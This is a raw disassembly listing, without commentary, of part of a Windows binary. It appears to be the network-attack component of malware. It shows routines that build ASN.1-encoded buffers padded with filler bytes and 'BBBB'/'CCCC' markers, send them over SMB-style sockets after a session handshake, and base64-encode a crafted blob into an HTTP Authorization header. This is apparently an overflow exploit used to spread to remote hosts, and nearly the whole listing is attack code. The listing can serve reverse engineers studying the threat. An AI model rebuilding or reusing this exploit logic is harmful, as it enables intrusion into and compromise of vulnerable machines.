		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_40764A
		push	[ebp+var_20]
		call	sub_409979
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40AE78	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF85	proc near		; CODE XREF: sub_40B21F+Ep
					; sub_40B21F+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40AF85	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	dword ptr [ebp+8]
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	ecx, [ebp-8]
		push	dword ptr [ebp+8]
		call	sub_40AFBD
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax
		mov	eax, esi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40AFBD	proc near		; CODE XREF: .data:0040AFA7p
					; sub_40B21F+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_415090
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40AFEF
		push	ebx
		push	0
		push	edi
		call	sub_417700
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_419330
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40AFEF:				; CODE XREF: sub_40AFBD+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40AFBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFF7	proc near		; CODE XREF: sub_40B0E9+18p
					; sub_40B163+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_415090
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40B043
		push	edi
		push	0
		push	esi
		call	sub_417700
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_419330
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_419330
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40B043:				; CODE XREF: sub_40AFF7+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40AFF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B04C	proc near		; CODE XREF: sub_40B0E9+5Ep
					; sub_40B0E9+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40B05C
		push	eax
		call	sub_415C20
		pop	ecx


loc_40B05C:				; CODE XREF: sub_40B04C+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40B04C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B065	proc near		; CODE XREF: sub_40B0E9+20p
					; sub_40B1C4+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40B08F
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_415090
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40B093


loc_40B08F:				; CODE XREF: sub_40B065+Dj
		xor	al, al
		jmp	short loc_40B0E5
; ---------------------------------------------------------------------------


loc_40B093:				; CODE XREF: sub_40B065+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_417700
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40B0B3
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_40B0C8
; ---------------------------------------------------------------------------


loc_40B0B3:				; CODE XREF: sub_40B065+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_40B0C8:				; CODE XREF: sub_40B065+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_419330
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415C20
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40B0E5:				; CODE XREF: sub_40B065+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B065	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B0E9	proc near		; CODE XREF: sub_40B21F+89p
					; sub_40B21F+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset byte_4D9380
		call	sub_40AFF7
		lea	ecx, [ebp+var_8]
		call	sub_40B065
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_415090
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40B123
		xor	al, al
		jmp	short loc_40B15F
; ---------------------------------------------------------------------------


loc_40B123:				; CODE XREF: sub_40B0E9+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_417700
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_419330
		add	esp, 18h
		mov	ecx, esi
		call	sub_40B04C
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40B04C
		mov	al, 1


loc_40B15F:				; CODE XREF: sub_40B0E9+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40B0E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B163	proc near		; CODE XREF: sub_40B197+14p
					; sub_40B1B4+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40AFF7
		mov	ecx, esi
		call	sub_40B04C
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40B163	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B197	proc near		; CODE XREF: sub_40B21F+F0p
					; sub_40B21F+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_414EC0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40B163
		pop	esi
		retn	4
sub_40B197	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B1B4	proc near		; CODE XREF: sub_40B200+Bp
					; sub_40B21F+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B163
		retn	8
sub_40B1B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1C4	proc near		; CODE XREF: sub_40B200+16p
					; sub_40B21F+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40B065
		test	al, al
		jz	short loc_40B1FD
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_43FC8F+1)
		call	sub_40AFF7
		mov	ecx, esi
		call	sub_40B04C
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40B1FD:				; CODE XREF: sub_40B1C4+Fj
		pop	esi
		leave
		retn
sub_40B1C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B200	proc near		; CODE XREF: sub_40B21F+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40B1B4
		test	al, al
		jz	short loc_40B21B
		mov	ecx, esi
		call	sub_40B1C4


loc_40B21B:				; CODE XREF: sub_40B200+12j
		pop	esi
		retn	8
sub_40B200	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B21F	proc near		; CODE XREF: .data:0040BA73p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40AF85
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40B563
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40B563
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40AF85
		lea	ecx, [ebp+var_20]
		call	sub_40AF85
		lea	ecx, [ebp+var_50]
		call	sub_40AF85
		lea	ecx, [ebp+var_18]
		call	sub_40AF85
		lea	ecx, [ebp+var_40]
		call	sub_40AF85
		lea	ecx, [ebp+var_38]
		call	sub_40AF85
		lea	ecx, [ebp+var_28]
		call	sub_40AF85
		push	4
		push	offset dword_43F924
		lea	ecx, [ebp+var_30]
		call	sub_40B163
		push	3
		push	offset dword_43F92C
		lea	ecx, [ebp+var_30]
		call	sub_40B163
		lea	ecx, [ebp+var_30]
		call	sub_40B0E9
		lea	ecx, [ebp+var_30]
		call	sub_40B1C4
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40B163
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40B163
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40B163
		lea	ecx, [ebp+var_20]
		call	sub_40B0E9
		push	offset loc_43FC94
		lea	ecx, [ebp+var_50]
		call	sub_40B197
		lea	ecx, [ebp+var_50]
		call	sub_40B0E9
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_40AFBD
		lea	ecx, [ebp+var_58]
		call	sub_40B0E9
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_40B200
		lea	ecx, [ebp+var_58]
		call	sub_40B04C
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_417700
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40B197
		push	4
		push	offset dword_43F930
		lea	ecx, [ebp+var_18]
		call	sub_40B163
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_40B163
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_40B163
		lea	ecx, [ebp+var_18]
		call	sub_40B0E9
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40B1B4
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40B1B4
		lea	ecx, [ebp+var_40]
		call	sub_40B1C4
		lea	ecx, [ebp+var_18]
		call	sub_40B04C
		lea	ecx, [ebp+var_50]
		call	sub_40B04C
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40B1B4
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40B1B4
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40B1B4
		lea	ecx, [ebp+var_38]
		call	sub_40B1C4
		lea	ecx, [ebp+var_20]
		call	sub_40B04C
		lea	ecx, [ebp+var_30]
		call	sub_40B04C
		lea	ecx, [ebp+var_40]
		call	sub_40B04C
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_417700
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_40B163
		lea	ecx, [ebp+var_28]
		call	sub_40B0E9
		push	2
		push	offset dword_43FCA8
		lea	ecx, [ebp+var_28]
		call	sub_40B163
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40B1B4
		lea	ecx, [ebp+var_28]
		call	sub_40B1C4
		lea	ecx, [ebp+var_38]
		call	sub_40B04C
		lea	ecx, [ebp+var_10]
		call	sub_40AF85
		lea	ecx, [ebp+var_8]
		call	sub_40AF85
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40B1B4
		lea	ecx, [ebp+var_10]
		call	sub_40B065
		lea	ecx, [ebp+var_28]
		call	sub_40B04C
		push	offset byte_43FCAC
		lea	ecx, [ebp+var_8]
		call	sub_40B197
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40B1B4
		lea	ecx, [ebp+var_8]
		call	sub_40B065
		lea	ecx, [ebp+var_10]
		call	sub_40B04C
		push	offset word_43FCAE
		lea	ecx, [ebp+var_10]
		call	sub_40B197
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40B1B4
		lea	ecx, [ebp+var_10]
		call	sub_40B065
		lea	ecx, [ebp+var_8]
		call	sub_40B04C
		push	offset dword_43FCB0
		lea	ecx, [ebp+var_8]
		call	sub_40B197
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40B1B4
		lea	ecx, [ebp+var_8]
		call	sub_40B065
		lea	ecx, [ebp+var_10]
		call	sub_40B04C
		push	(offset	aA_1+2)
		lea	ecx, [ebp+var_48]
		call	sub_40B197
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40B1B4
		lea	ecx, [ebp+var_8]
		call	sub_40B04C
		pop	esi


loc_40B563:				; CODE XREF: sub_40B21F+1Bj
					; sub_40B21F+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_40B21F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B575	proc near		; CODE XREF: sub_40B639+A2p
					; sub_40B639+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_4E0524	; select
		cmp	eax, edi
		jnz	short loc_40B5DC
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_433746	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_40B5E0


loc_40B5DC:				; CODE XREF: sub_40B575+54j
		xor	eax, eax
		jmp	short loc_40B5F0
; ---------------------------------------------------------------------------


loc_40B5E0:				; CODE XREF: sub_40B575+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4D6680	; recv


loc_40B5F0:				; CODE XREF: sub_40B575+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40B575	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5F4	proc near		; CODE XREF: sub_40B639+80p
					; sub_40B639+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_4D6664	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4D66B8	; send
		cmp	eax, 4
		jz	short loc_40B61E
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B61E:				; CODE XREF: sub_40B5F4+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4D66B8	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_40B5F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B639	proc near		; CODE XREF: sub_40B718+48p
					; .data:0040BB46p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_415090
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40B662
		xor	al, al
		jmp	loc_40B713
; ---------------------------------------------------------------------------


loc_40B662:				; CODE XREF: sub_40B639+20j
		push	ebx
		push	0
		push	esi
		call	sub_417700
		push	2Fh
		push	offset dword_43F9C0
		push	esi
		call	sub_419330
		push	8
		lea	eax, [esi+31h]
		push	offset dword_43F9F0
		push	eax
		mov	[esi+2Fh], di
		call	sub_419330
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_419330
		push	6
		add	ebx, edi
		push	offset dword_4D9378
		push	ebx
		call	sub_419330
		push	85h
		push	offset dword_43F938
		push	[ebp+arg_0]
		call	sub_40B5F4
		add	esp, 48h
		test	al, al
		jnz	short loc_40B6C9


loc_40B6C5:				; CODE XREF: sub_40B639+B8j
		xor	bl, bl
		jmp	short loc_40B70A
; ---------------------------------------------------------------------------


loc_40B6C9:				; CODE XREF: sub_40B639+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40B575
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_40B5F4
		add	esp, 1Ch
		test	al, al
		jz	short loc_40B6C5
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40B575
		add	esp, 10h
		mov	bl, 1


loc_40B70A:				; CODE XREF: sub_40B639+8Ej
		push	esi
		call	sub_415C20
		pop	ecx
		mov	al, bl


loc_40B713:				; CODE XREF: sub_40B639+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B639	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B718	proc near		; CODE XREF: .data:0040BB2Cp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_43FA00
		push	[ebp+arg_0]
		call	dword_4E0520	; send
		cmp	eax, 48h
		jnz	short loc_40B753
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40B575
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B753
		cmp	[ebp+var_20], 82h
		jz	short loc_40B757


loc_40B753:				; CODE XREF: sub_40B718+1Bj
					; sub_40B718+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B757:				; CODE XREF: sub_40B718+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B639
		add	esp, 0Ch
		leave
		retn
sub_40B718	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B76A	proc near		; CODE XREF: sub_40B7B6+29p

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_434468
		call	sub_41991C
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_434460
		fstp	[esp+10h+var_10]
		call	sub_419730
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41991C
		inc	eax
		leave
		retn
sub_40B76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B7B6	proc near		; CODE XREF: sub_40B92D+23p

var_44		= qword	ptr -44h

		mov	eax, offset loc_433F0B
		call	sub_4191E0
		sub	esp, 30h
		push	esi
		lea	eax, [ebp-0Dh]
		push	edi
		xor	esi, esi
		push	eax
		lea	ecx, [ebp-3Ch]
		mov	[ebp-24h], esi
		call	sub_40BBAE
		push	dword ptr [ebp+10h]
		xor	edi, edi
		inc	edi
		mov	[ebp-4], edi
		call	sub_40B76A
		pop	ecx
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_40BCBA
		cmp	[ebp+10h], esi
		mov	[ebp-1Ch], esi
		jbe	loc_40B901
		push	ebx
		mov	ebx, [ebp+10h]


loc_40B7FE:				; CODE XREF: sub_40B7B6+144j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40B809
		push	3


loc_40B806:				; CODE XREF: sub_40B7B6+5Bj
		pop	ebx
		jmp	short loc_40B81A
; ---------------------------------------------------------------------------


loc_40B809:				; CODE XREF: sub_40B7B6+4Cj
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40B813
		push	2
		jmp	short loc_40B806
; ---------------------------------------------------------------------------


loc_40B813:				; CODE XREF: sub_40B7B6+57j
		cmp	[ebp+10h], edi
		jnz	short loc_40B81A
		mov	ebx, edi


loc_40B81A:				; CODE XREF: sub_40B7B6+51j
					; sub_40B7B6+60j
		and	dword ptr [ebp-28h], 0
		mov	[ebp-2Ch], ebx
		fild	qword ptr [ebp-2Ch]
		push	ecx
		push	ecx		; double
		fmul	dbl_434470
		fstp	[esp+44h+var_44]
		call	sub_419950
		pop	ecx
		pop	ecx
		call	sub_41991C
		test	ebx, ebx
		mov	[ebp-20h], eax
		jbe	short loc_40B85B
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-14h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi
		inc	edi


loc_40B85B:				; CODE XREF: sub_40B7B6+8Aj
		mov	cl, [ebp-14h]
		mov	dl, [ebp-14h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-18h], cl
		mov	cl, [ebp-13h]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-13h]
		mov	[ebp-17h], cl
		mov	cl, [ebp-12h]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-16h], cl
		mov	cl, [ebp-12h]
		and	cl, 3Fh
		test	eax, eax
		mov	[ebp-15h], cl
		jbe	short loc_40B8C8
		add	[ebp-1Ch], eax


loc_40B8AD:				; CODE XREF: sub_40B7B6+110j
		movsx	eax, byte ptr [ebp+esi-18h]
		lea	ecx, [ebp-3Ch]
		mov	al, byte_43FA50[eax]
		push	eax
		push	edi
		call	sub_40BC39
		inc	esi
		cmp	esi, [ebp-20h]
		jb	short loc_40B8AD


loc_40B8C8:				; CODE XREF: sub_40B7B6+F2j
		cmp	dword ptr [ebp-1Ch], 48h
		jb	short loc_40B8DD
		push	dword ptr [ebp+14h]
		lea	ecx, [ebp-3Ch]
		call	sub_40BC17
		and	dword ptr [ebp-1Ch], 0


loc_40B8DD:				; CODE XREF: sub_40B7B6+116j
		push	4
		pop	esi
		cmp	[ebp-20h], esi
		jnb	short loc_40B8F6
		sub	esi, [ebp-20h]


loc_40B8E8:				; CODE XREF: sub_40B7B6+13Ej
		push	3Dh
		push	edi
		lea	ecx, [ebp-3Ch]
		call	sub_40BC39
		dec	esi
		jnz	short loc_40B8E8


loc_40B8F6:				; CODE XREF: sub_40B7B6+12Dj
		cmp	dword ptr [ebp+10h], 0
		ja	loc_40B7FE
		pop	ebx


loc_40B901:				; CODE XREF: sub_40B7B6+3Ej
		mov	ecx, [ebp+8]
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_40BBC6
		mov	[ebp-24h], edi
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-3Ch]
		call	sub_40BC0F
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_40B7B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B92D	proc near		; CODE XREF: .data:0040BB0Fp
		mov	eax, offset loc_433F25
		call	sub_4191E0
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset word_4D9382
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40B7B6
		add	esp, 10h
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_40BCB6
		lea	ecx, [ebp+14h]
		mov	esi, eax
		call	sub_40BCB6
		lea	esi, [esi+eax+36h]
		push	esi
		call	sub_415090
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40B983
		xor	bl, bl
		jmp	short loc_40B9C2
; ---------------------------------------------------------------------------


loc_40B983:				; CODE XREF: sub_40B92D+50j
		lea	ecx, [ebp-1Ch]
		call	sub_40BCA9
		push	eax
		lea	ecx, [ebp+14h]
		call	sub_40BCA9
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_417E80
		add	esp, 14h
		push	0
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4D66B8	; send
		cmp	eax, esi
		jz	short loc_40B9B9
		xor	bl, bl
		jmp	short loc_40B9BB
; ---------------------------------------------------------------------------


loc_40B9B9:				; CODE XREF: sub_40B92D+86j
		mov	bl, 1


loc_40B9BB:				; CODE XREF: sub_40B92D+8Aj
		push	edi
		call	sub_415C20
		pop	ecx


loc_40B9C2:				; CODE XREF: sub_40B92D+54j
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-1Ch]
		call	sub_40BC0F
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+14h]
		call	sub_40BC0F
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40B92D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
